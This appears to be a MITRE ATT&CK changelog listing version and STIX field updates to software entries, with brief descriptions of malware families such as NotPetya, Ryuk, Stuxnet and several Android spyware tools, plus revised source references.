| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-02-09 23:00:38.683000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:40:56.558000+00:00 | 2021-03-29 19:54:46.007000+00:00 |
| external_references[2]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ | https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:41:33.050000+00:00 | 2021-06-16 15:50:05.015000+00:00 |
| external_references[2]['url'] | https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf | https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Get2](https://attack.mitre.org/software/S0460) is a downloa | t | 1 | [Get2](https://attack.mitre.org/software/S0460) is a downloa |
| > | der written in C++ that has been used by [TA505](https://att | > | der written in C++ that has been used by [TA505](https://att | ||
| > | ack.mitre.org/groups/G0092) to deliver [FlawedGrace](https:/ | > | ack.mitre.org/groups/G0092) to deliver [FlawedGrace](https:/ | ||
| > | /attack.mitre.org/software/S0383), [FlawedAmmyy](https://att | > | /attack.mitre.org/software/S0383), [FlawedAmmyy](https://att | ||
| > | ack.mitre.org/software/S0381), Snatch and [SDBot](https://at | > | ack.mitre.org/software/S0381), Snatch and [SDBbot](https://a | ||
| > | tack.mitre.org/software/S0461).(Citation: Proofpoint TA505 O | > | ttack.mitre.org/software/S0461).(Citation: Proofpoint TA505 | ||
| > | ctober 2019) | > | October 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| description | [Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019) | [Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019) |
Current version: 1.0
Description: [Android/AdDisplay.Ashas](https://attack.mitre.org/software/S0525) is a variant of adware that has been distributed through multiple apps in the Google Play Store. (Citation: WeLiveSecurity AdDisplayAshas)
Current version: 1.0
Description: [AndroidOS/MalLocker.B](https://attack.mitre.org/software/S0524) is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows. (Citation: Microsoft MalLockerB)
Current version: 1.0
Description: [Asacub](https://attack.mitre.org/software/S0540) is a banking trojan that attempts to steal money from victims’ bank accounts. It attempts to do this by initiating a wire transfer via SMS message from compromised devices.(Citation: Securelist Asacub)
Current version: 1.0
Description: [BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)
Current version: 1.0
Description: [CHEMISTGAMES](https://attack.mitre.org/software/S0555) is a modular backdoor that has been deployed by [Sandworm Team](https://attack.mitre.org/groups/G0034).(Citation: CYBERWARCON CHEMISTGAMES)
Current version: 1.1
Description: [CarbonSteal](https://attack.mitre.org/software/S0529) is one of a family of four surveillanceware tools that share a common C2 infrastructure. [CarbonSteal](https://attack.mitre.org/software/S0529) primarily deals with audio surveillance. (Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [Circles](https://attack.mitre.org/software/S0602) reportedly takes advantage of Signaling System 7 (SS7) weaknesses, the protocol suite used to route phone calls, to both track the location of mobile devices and intercept voice calls and SMS messages. It can be connected to a telecommunications company’s infrastructure or purchased as a cloud service. Circles has reportedly been linked to the NSO Group.(Citation: CitizenLab Circles)
Current version: 1.0
Description: [DoubleAgent](https://attack.mitre.org/software/S0550) is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [Exobot](https://attack.mitre.org/software/S0522) is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.(Citation: Threat Fabric Exobot)
Current version: 1.0
Description: [FrozenCell](https://attack.mitre.org/software/S0577) is the mobile component of a family of surveillanceware, with a corresponding desktop component known as KasperAgent and [Micropsia](https://attack.mitre.org/software/S0339).(Citation: Lookout FrozenCell)
Current version: 1.0
Description: [GPlayed](https://attack.mitre.org/software/S0536) is an Android trojan with a broad range of capabilities.(Citation: Talos GPlayed)
Current version: 1.0
Description: [Golden Cup](https://attack.mitre.org/software/S0535) is Android spyware that has been used to target World Cup fans.(Citation: Symantec GoldenCup)
Current version: 1.0
Description: [GoldenEagle](https://attack.mitre.org/software/S0551) is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [HenBox](https://attack.mitre.org/software/S0544) is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. [HenBox](https://attack.mitre.org/software/S0544) has primarily been used to target Uyghurs, a minority Turkic ethnic group.(Citation: Palo Alto HenBox)
Current version: 1.0
Description: [Red Alert 2.0](https://attack.mitre.org/software/S0539) is a banking trojan that masquerades as a VPN client.(Citation: Sophos Red Alert 2.0)
Current version: 1.0
Description: [SilkBean](https://attack.mitre.org/software/S0549) is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.(Citation: Lookout Uyghur Campaign)
Current version: 1.0
Description: [TERRACOTTA](https://attack.mitre.org/software/S0545) is an ad fraud botnet that has been capable of generating over 2 billion fraudulent requests per week.(Citation: WhiteOps TERRACOTTA)
Current version: 1.0
Description: [Tiktok Pro](https://attack.mitre.org/software/S0558) is spyware that has been masquerading as the TikTok application.(Citation: Zscaler TikTok Spyware)
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 16:23:16.039000+00:00 | 2021-04-19 17:11:50.159000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-21 15:30:39.236000+00:00 | 2021-11-01 18:30:41.998000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 15:42:15.261000+00:00 | 2021-09-20 13:50:01.923000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.0
Description: [Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)
Current version: 1.3
Description: [BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)
Current version: 1.0
Description: [Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)
Current version: 2.0
Description: [EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)
Current version: 1.0
Description: [EKANS](https://collaborate.mitre.org/attackics/index.php/Software/S0017) is ransomware that was first seen December 2019 and later reported to have impacted operations at Honda automotive production facilities.(Citation: Forbes Snake Ransomware June 2020)(Citation: MalwareByes Honda and Enel Ransomware June 2020)(Citation: Dragos EKANS February 2020) EKANS has a hard-coded kill-list of processes, including some associated with common ICS software platforms (e.g., GE Proficy historian, Honeywell HMIWeb).(Citation: Dragos EKANS February 2020) If the malware discovers these processes on the target system, it will stop, encrypt, and rename the process to prevent the program from restarting. This malware should not be confused with the “Snake” malware associated with the Turla group. The ICS processes documented within the malware’s kill-list is similar to those defined by the MEGACORTEX software.(Citation: FireEye OT Ransomware July 2020)(Citation: Pylos January 2020)(Citation: Dragos EKANS June 2020)The ransomware was initially reported as “Snake”, however, to avoid confusion with the unrelated Turla APT group security researchers spelled it backwards as EKANS.
Current version: 1.0
Description: [Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.(Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016.(Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid.(Citation: Dragos Crashoverride 2018)
Current version: 1.1
Description: [KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)
Current version: 2.0
Description: [REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)
Current version: 1.1
Description: [Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: CISA ICS Advisory ICSA-10-272-01)(Citation: ESET Stuxnet Under the Microscope)(Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008.(Citation: Symantec W.32 Stuxnet Dossier)
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i | t | 1 | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) i |
| > | s a backdoor used by [Dragonfly](https://attack.mitre.org/gr | > | s a modular backdoor that used by [Dragonfly](https://attack | ||
| > | oups/G0035). It appears to be custom malware authored by the | > | .mitre.org/groups/G0035) against energy companies since at l | ||
| > | group or specifically for it. (Citation: Symantec Dragonfly | > | east 2013. [Backdoor.Oldrea](https://attack.mitre.org/softwa | ||
| > | ) | > | re/S0093) was distributed via supply chain compromise, and i | ||
| > | ncluded specialized modules to enumerate and map ICS-specifi | ||||
| > | c systems, processes, and protocols.(Citation: Symantec Drag | ||||
| > | onfly)(Citation: Gigamon Berserk Bear October 2021)(Citation | ||||
| > | : Symantec Dragonfly Sept 2017) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:49:50.902000+00:00 | 2022-05-11 14:00:00.188000+00:00 |
| description | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly) | [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a modular backdoor that used by [Dragonfly](https://attack.mitre.org/groups/G0035) against energy companies since at least 2013. [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)(Citation: Symantec Dragonfly Sept 2017) |
| external_references[1]['source_name'] | Symantec Dragonfly | Gigamon Berserk Bear October 2021 |
| external_references[1]['description'] | Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016. | Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021. |
| external_references[1]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf | https://vblocalhost.com/uploads/VB2021-Slowik.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Symantec Dragonfly Sept 2017', 'description': 'Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.', 'url': 'https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers'} | |
| external_references | {'source_name': 'Symantec Dragonfly', 'description': 'Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.', 'url': 'https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments'} |
Current version: 2.0
Version changed from: 1.3 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [LockerGoga](https://attack.mitre.org/software/S0372) is ran | t | 1 | [LockerGoga](https://attack.mitre.org/software/S0372) is ran |
| > | somware that has been tied to various attacks on European co | > | somware that was first reported in January 2019, and has bee | ||
| > | mpanies. It was first reported upon in January 2019.(Citatio | > | n tied to various attacks on European companies, including i | ||
| > | n: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga | > | ndustrial and manufacturing firms.(Citation: Unit42 LockerGo | ||
| > | 2019) | > | ga 2019)(Citation: CarbonBlack LockerGoga 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Joe Slowik - Dragos'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:56:22.049000+00:00 | 2022-05-23 21:22:58.477000+00:00 |
| description | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that has been tied to various attacks on European companies. It was first reported upon in January 2019.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) | [LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019) |
| external_references[1]['source_name'] | Unit42 LockerGoga 2019 | CarbonBlack LockerGoga 2019 |
| external_references[1]['description'] | Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. |
| external_references[1]['url'] | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ |
| external_references[2]['source_name'] | CarbonBlack LockerGoga 2019 | Unit42 LockerGoga 2019 |
| external_references[2]['description'] | CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019. | Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019. |
| external_references[2]['url'] | https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/ | https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/ |
| x_mitre_version | 1.3 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa | t | 1 | [NotPetya](https://attack.mitre.org/software/S0368) is malwa |
| > | re that was first seen in a worldwide attack starting on Jun | > | re that was used by [Sandworm Team](https://attack.mitre.org | ||
| > | e 27, 2017. The main purpose of the malware appeared to be t | > | /groups/G0034) in a worldwide attack starting on June 27, 20 | ||
| > | o effectively destroy data and disk structures on compromise | > | 17. While [NotPetya](https://attack.mitre.org/software/S0368 | ||
| > | d systems. Though [NotPetya](https://attack.mitre.org/softwa | > | ) appears as a form of ransomware, its main purpose was to d | ||
| > | re/S0368) presents itself as a form of ransomware, it appear | > | estroy data and disk structures on compromised systems; the | ||
| > | s likely that the attackers never intended to make the encry | > | attackers never intended to make the encrypted data recovera | ||
| > | pted data recoverable. As such, [NotPetya](https://attack.mi | > | ble. As such, [NotPetya](https://attack.mitre.org/software/S | ||
| > | tre.org/software/S0368) may be more appropriately thought of | > | 0368) may be more appropriately thought of as a form of wipe | ||
| > | as a form of wiper malware. [NotPetya](https://attack.mitre | > | r malware. [NotPetya](https://attack.mitre.org/software/S036 | ||
| > | .org/software/S0368) contains worm-like features to spread i | > | 8) contains worm-like features to spread itself across a com | ||
| > | tself across a computer network using the SMBv1 exploits Ete | > | puter network using the SMBv1 exploits EternalBlue and Etern | ||
| > | rnalBlue and EternalRomance.(Citation: Talos Nyetya June 201 | > | alRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CE | ||
| > | 7)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPe | > | RT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citatio | ||
| > | tya 2017)(Citation: ESET Telebots June 2017) | > | n: US District Court Indictment GRU Unit 74455 October 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-18 20:27:49.511000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
| description | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017) | [NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'US District Court Indictment GRU Unit 74455 October 2020', 'description': 'Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.', 'url': 'https://www.justice.gov/opa/press-release/file/1328521/download'} |
Current version: 1.3
Version changed from: 1.0 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ryuk](https://collaborate.mitre.org/attackics/index.php/Sof | t | 1 | [Ryuk](https://attack.mitre.org/software/S0446) is a ransomw |
| > | tware/S0011) is ransomware that was first seen targeting lar | > | are designed to target enterprise environments that has been | ||
| > | ge organizations for high-value ransoms in August of 2018. R | > | used in attacks since at least 2018. [Ryuk](https://attack. | ||
| > | yuk temporarily disrupted operations at a manufacturing firm | > | mitre.org/software/S0446) shares code similarities with Herm | ||
| > | in 2018.(Citation: Crowdstrike Ryuk) | > | es ransomware.(Citation: CrowdStrike Ryuk January 2019)(Cita | ||
| > | tion: FireEye Ryuk and Trickbot January 2019)(Citation: Fire | ||||
| > | Eye FIN6 Apr 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['The DFIR Report, @TheDFIRReport', 'Matt Brenton, Zurich Insurance Group'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| created | 2019-03-26 15:02:14.907000+00:00 | 2020-05-13 20:14:53.171000+00:00 |
| modified | 2020-01-03 22:01:15.893000+00:00 | 2022-05-24 21:10:44.381000+00:00 |
| description | [Ryuk](https://collaborate.mitre.org/attackics/index.php/Software/S0011) is ransomware that was first seen targeting large organizations for high-value ransoms in August of 2018. Ryuk temporarily disrupted operations at a manufacturing firm in 2018.(Citation: Crowdstrike Ryuk) | [Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware.(Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0011 | https://attack.mitre.org/software/S0446 |
| external_references[0]['external_id'] | S1007 | S0446 |
| external_references[1]['source_name'] | Crowdstrike Ryuk | Ryuk |
| external_references[1]['description'] | Alexander Hanel. (n.d.). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved November 3, 2019. | (Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) |
| external_references[2]['source_name'] | DarkReading Ryuk | Bleeping Computer - Ryuk WoL |
| external_references[2]['description'] | Kelly Jackson Higgins. (n.d.). How a Manufacturing Firm Recovered from a Devastating Ransomware Attack. Retrieved November 3, 2019. | Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021. |
| external_references[2]['url'] | https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760 | https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ |
| x_mitre_version | 1.0 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye Ryuk and Trickbot January 2019', 'description': 'Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html'} | |
| external_references | {'source_name': 'CrowdStrike Ryuk January 2019', 'description': 'Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.', 'url': 'https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/'} | |
| external_references | {'source_name': 'FireEye FIN6 Apr 2019', 'description': 'McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html'} |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ACAD/Medre.A](https://collaborate.mitre.org/attackics/index | t | 1 | [ACAD/Medre.A](https://attack.mitre.org/software/S0018) is a |
| > | .php/Software/S0018) is a worm that steals operational infor | > | worm that steals operational information. The worm collects | ||
| > | mation. The worm collects AutoCAD files with drawings. ACAD/ | > | AutoCAD files with drawings. [ACAD/Medre.A](https://attack. | ||
| > | Medre.A has the capability to be used for industrial espiona | > | mitre.org/software/S0018) has the capability to be used for | ||
| > | ge. | > | industrial espionage. (Citation: ESET) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_aliases | ['ACAD', 'Medre.A'] | |
| x_mitre_platforms | ['Windows'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-02 00:14:20.652000+00:00 | 2022-05-06 17:47:24.008000+00:00 |
| description | [ACAD/Medre.A](https://collaborate.mitre.org/attackics/index.php/Software/S0018) is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage. | [ACAD/Medre.A](https://attack.mitre.org/software/S0018) is a worm that steals operational information. The worm collects AutoCAD files with drawings. [ACAD/Medre.A](https://attack.mitre.org/software/S0018) has the capability to be used for industrial espionage. (Citation: ESET) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Software/S0018 | https://attack.mitre.org/software/S0018 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET', 'description': 'ESET ACAD/Medre.A: 10000s of AutoCAD Designs Leaked in Suspected Industrial Espionage Retrieved. 2021/04/13 ', 'url': 'https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/ESET_ACAD_Medre_A_whitepaper.pdf'} |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:07:19.052000+00:00 | 2022-04-25 14:00:00.188000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack', 'ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
